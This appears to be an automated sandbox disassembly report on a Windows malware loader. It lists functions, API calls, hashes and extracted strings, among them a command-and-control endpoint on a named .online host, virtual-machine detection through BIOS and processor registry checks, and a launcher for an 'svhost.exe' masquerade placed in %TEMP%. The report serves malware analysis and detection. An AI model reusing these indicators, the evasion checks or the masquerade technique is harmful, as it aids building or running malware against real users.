Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: freemalloc
String ID: /iloverussia.php?token=%S$A WinHTTP Example Program/1.0$Final URL: %s$POST$eijfrhegrtbrfcd.online
API String ID: 3061335427-2228553089
Opcode ID: a34cecb6cf9fc084eab04537d76ee1ebedeb2b468dddb7c6cf064be7547877fb
Instruction ID: 6688591eb75c47117cde76ddf5baa49783db9c5feb2c241f654412f5f19611af
Opcode Fuzzy Hash: a34cecb6cf9fc084eab04537d76ee1ebedeb2b468dddb7c6cf064be7547877fb
Instruction Fuzzy Hash: FE511A716017818AEB35DF66E9587DA23A8E344B8CF40112ADA4D6BBD8DFBCC3448744

Function 00402700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

puts.MSVCRT ref: 0040272E

Part of subcall function 00401E9E: puts.MSVCRT ref: 00401F2B

free.MSVCRT ref: 00402746
puts.MSVCRT ref: 00402754

Strings

No valid command found in the response., xrefs: 0040274D

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: puts$free
String ID: No valid command found in the response.
API String ID: 1067472072-2980825692
Opcode ID: 645667b51ba4701549f401a65558d81603d224556285689a8e5044f58ad6348f
Instruction ID: 01383265a2d4681803a4cc4114b267dcea2e7995ebb67f34bdf8582f11d9381d
Opcode Fuzzy Hash: 645667b51ba4701549f401a65558d81603d224556285689a8e5044f58ad6348f
Instruction Fuzzy Hash: D1F01276B11B10D8EB00EB72E4493AC2774A75478CF40087A9F5D2B7A9DE78C1958304

Non-executed Functions

Function 00402D90 Relevance: 12.0, APIs: 8, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCaptureContext.KERNEL32 ref: 00402DA4
RtlLookupFunctionEntry.KERNEL32 ref: 00402DBB
RtlVirtualUnwind.KERNEL32 ref: 00402DFD
SetUnhandledExceptionFilter.KERNEL32 ref: 00402E41
UnhandledExceptionFilter.KERNEL32 ref: 00402E4E
GetCurrentProcess.KERNEL32 ref: 00402E54
TerminateProcess.KERNEL32 ref: 00402E62
abort.MSVCRT ref: 00402E68

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentEntryFunctionLookupTerminateUnwindVirtualabort
String ID:
API String ID: 4278921479-0
Opcode ID: 1e2f1e579045fed0aa4db7f78dd159f72cb77928626e21f5b0ebf45983b4390d
Instruction ID: a2dfb62fcd021635a5e8540deebc9b4d933200af3d90c6d2f8b516aefcd08bee
Opcode Fuzzy Hash: 1e2f1e579045fed0aa4db7f78dd159f72cb77928626e21f5b0ebf45983b4390d
Instruction Fuzzy Hash: BA21D0B1611F48E5EB009F65FC8439937A4F708B98F544126DB4E67BA4EF38C165C388

Function 00402607 Relevance: 2.6, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00402682
free.MSVCRT ref: 004026DE

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 2aa251e9edd9c8d5ea52c77049717fbe5cf7f3a2dba64fee5e93c9107e4ea0c2
Instruction ID: c864015200528da4e3a2d7dc0da9566affc9f3e64edacd7b414374e39596ae4e
Opcode Fuzzy Hash: 2aa251e9edd9c8d5ea52c77049717fbe5cf7f3a2dba64fee5e93c9107e4ea0c2
Instruction Fuzzy Hash: 49213E36710B4089EB10CB69E45439E37A4F34478CF104526EE9DABBD8DF7DCAA18744

Function 00402559 Relevance: 1.3, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 004025A4

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: bf4f274fc83106b92a7499a08eb9e5cf296d111f5af10154b3a0cf0c9927c73c
Instruction ID: 01c02879a7863bb62acf05a2ef87deb145531d320b57ade11c100b29236f21a1
Opcode Fuzzy Hash: bf4f274fc83106b92a7499a08eb9e5cf296d111f5af10154b3a0cf0c9927c73c
Instruction Fuzzy Hash: 99111671B00B0499EB10CB66E85439D27B4F75878CF004476EE5DA7B98DF79C6918348

Function 00401550 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4a3982be4225abc516490ced92af6daaa1c1d04572ec27a702a85e770645710
Instruction ID: dffc5cefb6737f9c2a3fc77ba6fc29a88c26a929add2b396efdfb6a473b8af1d
Opcode Fuzzy Hash: c4a3982be4225abc516490ced92af6daaa1c1d04572ec27a702a85e770645710
Instruction Fuzzy Hash: E0113DA27146809DF700CBA5D85434F3BB0A3457ACF044658DF6C6BBE9DB7EC6048B94

Function 004018BF Relevance: 31.6, APIs: 5, Strings: 13, Instructions: 107
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 00401A79
printf.MSVCRT ref: 00401A94
strstr.MSVCRT ref: 00401AAE
printf.MSVCRT ref: 00401AC6
puts.MSVCRT ref: 00401AD9

Strings

Processor name contains 'virt': %s, xrefs: 00401A8D
Model, xrefs: 004019B7
SystemProductName, xrefs: 00401A42
virt, xrefs: 00401A6F
Processo, xrefs: 004018DA
Unknown , xrefs: 004019AD
Unknown , xrefs: 004018D0
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 00401941
No 'virt' found in processor name or system model., xrefs: 00401AD2
ProcessorNameString, xrefs: 00401987
HARDWARE\DESCRIPTION\System\BIOS, xrefs: 004019FF
Virt, xrefs: 00401AA4
System model contains 'virt': %s, xrefs: 00401ABF

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: printfstrstr$puts
String ID: HARDWARE\DESCRIPTION\System\BIOS$HARDWARE\DESCRIPTION\System\CentralProcessor\0$Model$No 'virt' found in processor name or system model.$Processo$Processor name contains 'virt': %s$ProcessorNameString$System model contains 'virt': %s$SystemProductName$Unknown $Unknown $Virt$virt
API String ID: 2391528766-1360121679
Opcode ID: 2926720af0253c7b4b37213cf284bd72808155d13c3d23a0a06b12bc29e88681
Instruction ID: c84feffc46202db78572020bf7a21f7b525b667a30b23df085d1122e3254eb81
Opcode Fuzzy Hash: 2926720af0253c7b4b37213cf284bd72808155d13c3d23a0a06b12bc29e88681
Instruction Fuzzy Hash: 26512DB2311B8498EB20CB66EC407D933A5F748788F80412ADB5D5BBA9EF7DC254C748

Function 004032E0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 283
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(0040A610,00007FFE2167ADA0,?,?,?,00000001,0040124C), ref: 0040340D

Strings

Unknown pseudo relocation bit size %d., xrefs: 0040357A
Unknown pseudo relocation protocol version %d., xrefs: 0040358E

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: 8cab94366e6b1b099be5090a741e6956bf18a2ff2f360fa7a3443ac310753d32
Instruction ID: c65ba656f3e0e1fa8ac4f62300e1d393468feefeeb3680ddb040f854185ed496
Opcode Fuzzy Hash: 8cab94366e6b1b099be5090a741e6956bf18a2ff2f360fa7a3443ac310753d32
Instruction Fuzzy Hash: BE9188B1B1024056EB249F76D88071F6B59A7947AAF548837CF09B77D5CE3ECA82830D

Function 00401730 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

puts.MSVCRT ref: 00401780
printf.MSVCRT ref: 004017E3

Strings

%TEMP%, xrefs: 00401765
svhost.exe, xrefs: 00401747, 0040179A, 004017D5
%s not running. Starting..., xrefs: 0040180C
%s is running., xrefs: 00401830
%s\%s, xrefs: 004017A9
%s not found. Skipping launch., xrefs: 004017DC

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: printfputs
String ID: %TEMP%$%s is running.$%s not found. Skipping launch.$%s not running. Starting...$%s\%s$svhost.exe
API String ID: 3793801724-2704161499
Opcode ID: de50e54462b1b5d347b5b87bc864536f09ca71b799e4cf3f7a6df0b898b65601
Instruction ID: a5489c6963390d0c640a0e435bf09691d47060695afb22ddfe453e79fc2f7c30
Opcode Fuzzy Hash: de50e54462b1b5d347b5b87bc864536f09ca71b799e4cf3f7a6df0b898b65601
Instruction Fuzzy Hash: 2B210AB5351A4595EB20EB62EC943E92365E794788F810037CF0E6B7A4EF7CC655C348

Function 00403830 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

signal.MSVCRT ref: 00403889
signal.MSVCRT ref: 004038E2
signal.MSVCRT ref: 0040393E
signal.MSVCRT ref: 004039F3

Strings

CCG , xrefs: 00403845

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: 2be471abf36b6d8511b2256a92b77f3601ae47d48cc5d9b98e98cc4c4400e4b4
Instruction ID: 3b915e5e6a9bc8df1f710355430a1c215bf775a2e62912b46c024491e7803df1
Opcode Fuzzy Hash: 2be471abf36b6d8511b2256a92b77f3601ae47d48cc5d9b98e98cc4c4400e4b4
Instruction Fuzzy Hash: F43181E170150046FE786A7944553360C496BC933AF29CA3BEA6DB73D2CDBC8EC1122E

Function 004030E0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 156COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,?,?,?,?,004070C8,?,?,004070C8,004033D2,0040A610,00007FFE2167ADA0,?,?,?,00000001), ref: 0040318B

Strings

VirtualProtect failed with code 0x%x, xrefs: 0040326A
VirtualQuery failed for %d bytes at address %p, xrefs: 004032B8
Address %p has no image-section, xrefs: 004032C9

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 1804819252-2123141913
Opcode ID: 9c57dac23c483cc4d857320043402fb79bf7a79e36c6cfd7f1dc33e7f70dcb75
Instruction ID: 8c231c32730a40bc13f921d250129705830e11279a8bba98ea914987c5d32c44
Opcode Fuzzy Hash: 9c57dac23c483cc4d857320043402fb79bf7a79e36c6cfd7f1dc33e7f70dcb75
Instruction Fuzzy Hash: BA51B3B3701B4086DB118F26EC407597BA5F789BA9F088626DF59277D4DB3CC646C708

Function 00401AED Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 22COMMON

Download Yara Rule

APIs

puts.MSVCRT ref: 00401B05
exit.MSVCRT ref: 00401B0F
puts.MSVCRT ref: 00401B29
exit.MSVCRT ref: 00401B33

Strings

Device may be virtual., xrefs: 00401B22
Program started in virtual machine., xrefs: 00401AFE

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: exitputs
String ID: Device may be virtual.$Program started in virtual machine.
API String ID: 3126681908-2466117216
Opcode ID: 688843aee465fa4b2caf09cd31bc2807d149b93eea2607e079f563f3a68d1312
Instruction ID: 28ff8e205e6b1fc29dc0a525ce5d1480b60f0643d2363600b81d42351452ebe2
Opcode Fuzzy Hash: 688843aee465fa4b2caf09cd31bc2807d149b93eea2607e079f563f3a68d1312
Instruction Fuzzy Hash: 98E04F7161000099F300B772E81B3AD262157E4308F44447BAB097F2E2DE7CCA95866D

Function 00402CB0 Relevance: 7.6, APIs: 5, Instructions: 56timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00402CF5
GetCurrentProcessId.KERNEL32 ref: 00402D00
GetCurrentThreadId.KERNEL32 ref: 00402D09
GetTickCount.KERNEL32 ref: 00402D11
QueryPerformanceCounter.KERNEL32 ref: 00402D1E

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 9101069884a8374435b55088dc69beb5d46b46d3a1c6f9f53c2dd12352552ff0
Instruction ID: 3d40a7e008acd1dc58858779c40122e5c62eac1c9c50c61d529e2d738f8c795a
Opcode Fuzzy Hash: 9101069884a8374435b55088dc69beb5d46b46d3a1c6f9f53c2dd12352552ff0
Instruction Fuzzy Hash: ED118CA6616B1185FB204B25FC0831A7360FB48BB4F4806319F9C137E4EB3CC986C748

Function 004042B0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,?,00404208), ref: 00404261
GetProcAddress.KERNEL32(?,?,?,?,?,?,00404208), ref: 00404271

Strings

msvcrt.dll, xrefs: 0040425A
vsprintf_s, xrefs: 00404267

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: msvcrt.dll$vsprintf_s
API String ID: 1646373207-1988861753
Opcode ID: 076cd3444b54e977fd44761c6c4abc5188683b7a0d55046c4dc39cdd10debb49
Instruction ID: 4733ffafd4fa8c3cd73f3b5a79f206c0752539f87a989e2712d15c03cf9ad1bc
Opcode Fuzzy Hash: 076cd3444b54e977fd44761c6c4abc5188683b7a0d55046c4dc39cdd10debb49
Instruction Fuzzy Hash: 75F03CF1745B0891DE119B41FD1438A6365F788BD4F48852A9F4D27728DA7CC156CB48

Function 00402FB0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

Unknown error, xrefs: 004030A0
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 0e5a1a1676b68bc66412fdda574edf97328a4d88b57948db25a3e8f1c3d9dbcf
Instruction ID: c46fda56a21eff3fef8f5cbc5f98c99a762237a04564c165e8d53360edc5f129
Opcode Fuzzy Hash: 0e5a1a1676b68bc66412fdda574edf97328a4d88b57948db25a3e8f1c3d9dbcf
Instruction Fuzzy Hash: 4301DBB2504E88C2D6128F1CE8013EA73B4FF9D79AF155315EB893A264DB39C653C704

Function 00403050 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

Argument singularity (SIGN), xrefs: 00403050
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 482e5ac7ed3f8ed191ffad0a4cf176950d09ac2512ade35c916fdd57abc1dab3
Instruction ID: eb499c023530d11a1ec41438c0c2ab257c35d34497dfa0317612a6fe201c2959
Opcode Fuzzy Hash: 482e5ac7ed3f8ed191ffad0a4cf176950d09ac2512ade35c916fdd57abc1dab3
Instruction Fuzzy Hash: A1F09663404F4481D2029F1CA8003AB7370FF9D789F195316EF893A564DF39C5838704

Function 00403060 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

Overflow range error (OVERFLOW), xrefs: 00403060
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: ed94facb976460f00853b55a9d8f43eeb999889b1f93dc61f92e721771f8a3c8
Instruction ID: 73d87a943b8db449c06d236d93ed0a2d35fab2d2e82e8471f435edb6d4a52a96
Opcode Fuzzy Hash: ed94facb976460f00853b55a9d8f43eeb999889b1f93dc61f92e721771f8a3c8
Instruction Fuzzy Hash: 5CF09663404F4481D2029F1CA8003AB7370FF9D799F195316EF893A564DF39C5879704

Function 00403070 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00403070
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019857600.000000000040F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019945694.0000000000414000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_loader_5879465914.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: d289b50dc81c247b09126f47fa71e4fde1800a24d371b97371cee01f1670ee32
Instruction ID: 643ef16f371a5f8b72ee52e7d867f07bfb6aeface7f933900dbae4b4f46b52f7
Opcode Fuzzy Hash: d289b50dc81c247b09126f47fa71e4fde1800a24d371b97371cee01f1670ee32
Instruction Fuzzy Hash: 64F096A2404F4481D2029F1DA8003AB7370FF9D789F195316EF893A574DF38C5838704

Function 00403080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00403029

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 0040300D
Total loss of significance (TLOSS), xrefs: 00403080

Memory Dump Source

Source File: 00000007.00000002.3019588351.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3019515090.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019688876.0000000000406000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3019761342.000000000040B000.00000004.00000001.01000000.00000009.sdmpDownload File
